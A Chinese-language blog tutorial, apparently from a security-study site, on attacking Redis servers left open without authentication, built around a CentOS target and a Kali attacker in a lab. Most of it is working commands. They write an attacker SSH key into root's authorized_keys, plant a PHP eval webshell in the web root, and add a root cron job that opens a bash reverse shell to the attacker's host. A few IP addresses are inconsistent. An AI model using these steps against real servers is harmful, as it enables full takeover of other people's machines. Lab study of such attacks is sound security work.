Redis基础

1

Redis基础

REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。
Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

1

1

实验漏洞环境搭建

模拟服务器centos7.5:192.168.3.134

模拟攻击机kali linux2020:192.168.3.135

两台主机均要安装ssh 这个百度一大堆不在赘述。

攻击机模拟机均安装Redis

之前试过编译安装太麻烦了 centos 和kali 直接yum 就完成了所有的安装

yum -y install redis

编辑redis配置文件

vim /etc/redis.conf
第一个修改的地方 bind 127.0.0.1 前面加上#注释掉 允许取出除本地外的主机远程登录redis服务。
如不过不注释的话会强制redis只监听IPv4本地地址 而其他地址就无法访问。

第二个要修改的地方是protected 将yes改为no 关闭保护模式,允许远程连接redis服务 

使用配置文件启动redis

redis-server /etc/redis.conf

linux免密码登陆SSH

1.原理

首先了解下SSH的登陆方式,在SSH中有两种登陆方式 一种是账户密码登陆 还有一种就是公私钥登陆

一种是基于账户密码的安全验证只要知道自己的账户和密码就可以登陆到远程主机,

另一种今天的主角 它是基于密钥的安全验证首先要创建一对密钥,并把公钥放在访问的服务器上。这时候如果你要连接到ssh服务器上客户端软件就会像服务端发出请求,请求使用你客户机的密钥进行安全验证。 服务器收到请求后,会立即在自己的机器上的当前要登陆的账户主目录下寻找公钥密钥,然后把它和你发送过来的公用密钥进行比较,如果一致,服务器就用公用密匙加密“质询”(challenge)并把它发送给客户端软件,客户端软件收到“质询”之后就可以用你的私人密匙解密再把它发送给服务器。用这种方式,你必须知道自己密匙的口令。

redis未授权访问的原理是攻击机在可以未授权的情况下访问服务器B的Redis 将数据通过Redis通信传递到服务器B的用户家目录下的.ssh文件夹内 这样攻击机A发出ssh请求到服务器B就可以免密码验证啦。

在攻击机上创建/root/.sh 目录用于保存我们的公钥和私钥

mkdir /root/.sh

在/root/.sh目录下创建公私钥 密码设置为空 回车回车即可

会生成两个一个是私钥一个是公钥

ssh-keygen -t rsa

将公钥保存到key中

(echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > key.txt

通过redis将key写入到服务器中

 cat key.txt | redis-cli -h 192.168.3.134 -x set hack

连接目标主机的redis

redis-cli -h 192.168.10.153

设置redis的备份路径为/root/.ssh和保存文件名authorized_keys

config set dir /root/.ssh //设置redis的备份路径为/root/.ssh
config set dbfilename authorized_keys //设置上传公钥的备份文件名为autorized_keys

将数据保存

save

免密码登陆目标服务器

ssh 192.168.3.1

成功免密码登陆

通过Redis在web目录下写入webshell

Redis Config Set 命令可以动态地调整 Redis 服务器的配置(configuration)

redis-cli -h 192.168.3.134   //连接目标
config set dir /var/www/html //设置dir的目录
set xiaohua "\n\n\n<?php @eval($_POST['xiaohua']);?>\n\n\n" //将小马存入xiaohua中
config set dbfilename webshell.php //设置数据文件为webshell.php
save //保存

成功被写入

利用linux定时任务反弹shell

redis-cli -h 192.168.3.134
CONFIG SET dir /var/spool/cron //切换到定时任务目录
CONFIG SET dbfilename root //生成一个root文件
set payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.3.135/4444 0>&1\n\n" //设置反弹shell
save //保存

Redis基础

1

1

Redis基础

1

1

Redis基础

1

1

Redis的一些攻击手法整理的更多相关文章

  1. 360在线网站安全检测,web安全测试AppScan扫描工具,XSS常用的攻击手法

    360在线网站安全检测,web安全测试AppScan扫描工具,XSS常用的攻击手法 如何做好网站的安全性测试 360网站安全检测 - 在线安全检测,网站漏洞修复,网站后门检测http://websca ...

  2. 【转载】Redis 4.0 自动内存碎片整理(Active Defrag)源码分析

    click原文链接原文链接:https://blog.csdn.net/zouhuajianclever/article/details/90669409阅读本文前建议先阅读此篇博客: Redis源码 ...

  3. Redis配置及攻击利用

    Redis配置及攻击利用 Redis及其安全配置 Redis介绍 redis默认会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 ...

  4. Java 7爆最新漏洞,10年前的攻击手法仍有效

    英文原文:New Reflection API affected by a known 10+ years old attack 据 SECLISTS 透露,他们发现新的 Reflection API ...

  5. Redis面试题及答案整理

    1.什么是Redis?简述它的优缺点? Redis的全称是:Remote Dictionary.Server,本质上是一个Key-Value类型的内存数据库,很像memcached,整个数据库统统加载 ...

  6. 50道Redis面试题及答案整理,史上最全!

    在网上看到有关Redis的50道面试题,但是没有给出答案,之前我也在寻找这份Redis面试题的答案,今天特地把答案分享出来. 花了大量时间整理了这套Redis面试题及答案,希望对大家有帮助哈~ 弄明白 ...

  7. 应用安全-Web安全-XSS(跨站攻击)攻防整理

    分类 反射型 存储型 DOM型 XSF(Flash XSS) PDFXSS MHTML协议跨站(MHTML,data) 字符编码(UTF-7 XSS) 富文本编辑器测试 - 输入框 <img S ...

  8. python连接MySQL/redis/mongoDB数据库的简单整理

    python连接mysql 用python操作mysql,你必须知道pymysql 代码示意: import pymysql conn = pymysql.connect(host='127.0.0. ...

  9. Redis利用,攻击内网(ssrf)

    Redis语法 REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统. Redis是一个开源的使用ANSI C ...

随机推荐

  1. 为什么堆化 heapify() 只用 O(n) 就做到了?

    heapify() 前面两篇文章介绍了什么是堆以及堆的两个基本操作,但其实呢,堆还有一个大名鼎鼎的非常重要的操作,就是 heapify() 了,它是一个很神奇的操作, 可以用 O(n) 的时间把一个乱 ...

  2. LinkageSel无限级联动下拉菜单

    http://files.cnblogs.com/files/chenghu/LinkageSel-master.zip

  3. 【机器学习 Azure Machine Learning】使用Aure虚拟机搭建Jupyter notebook环境,为Machine Learning做准备(Ubuntu 18.04,Linux)

    问题描述 在Azure的VM中已经安装好Jupyter,并且通过jupyter notebook --port 9999 已经启动,但是通过本机浏览器,访问VM的公网IP,则始终是不能访问的错误.(T ...

  4. C# 清除文本中的HTML标签

    /// <summary>          /// 清除文本中Html的标签          /// </summary>          /// <param n ...

  5. 学会这三个命令,你就不再是git只会用三板斧的菜鸟了

    前言 在之前的文章当中我们介绍了最基本的git add.git commit和git push的用法以及基本原理,还介绍了gitignore文件的设置方法,从而让我们可以使用git add .来添加我 ...

  6. 看完这篇良心帖!你的Python入门基础就差不多了

    有段时间没跟各位粉丝分享编程资源福利了,看了下自己的资料夹,就剩下我认为比较好的Python学习资料了.相信这套资料可以对你进阶高级工程师有帮助!全民学Python的话题铺天盖地,中国的Python学 ...

  7. Parquet 源码解析

    date: 2020-07-20 16:15:00 updated: 2020-07-27 13:40:00 Parquet 源码解析 Parquet文件是以二进制方式存储的,所以是不可以直接读取的, ...

  8. Oracle一些常用操作语句

    --创建oracle登录用户 create user CHECKDATAUSER   identified by "bsoft"   default tablespace PBPG ...

  9. spring强行注入和引用的例子

    前提: public class DataProviderManagerImpl implements ApplicationContextAware @Override public void se ...

  10. 简单粗暴套娃模式组json发送https请求

    各位童鞋大家好,向来简单粗暴的铁柱兄给大家来玩一手套娃模式来组Json数据,不说别的,无脑套. 当然,这一手比较适合临场用一下,若长期用的话建议搞一套适用的框架,只管set就好了.话不多说开始上课. ...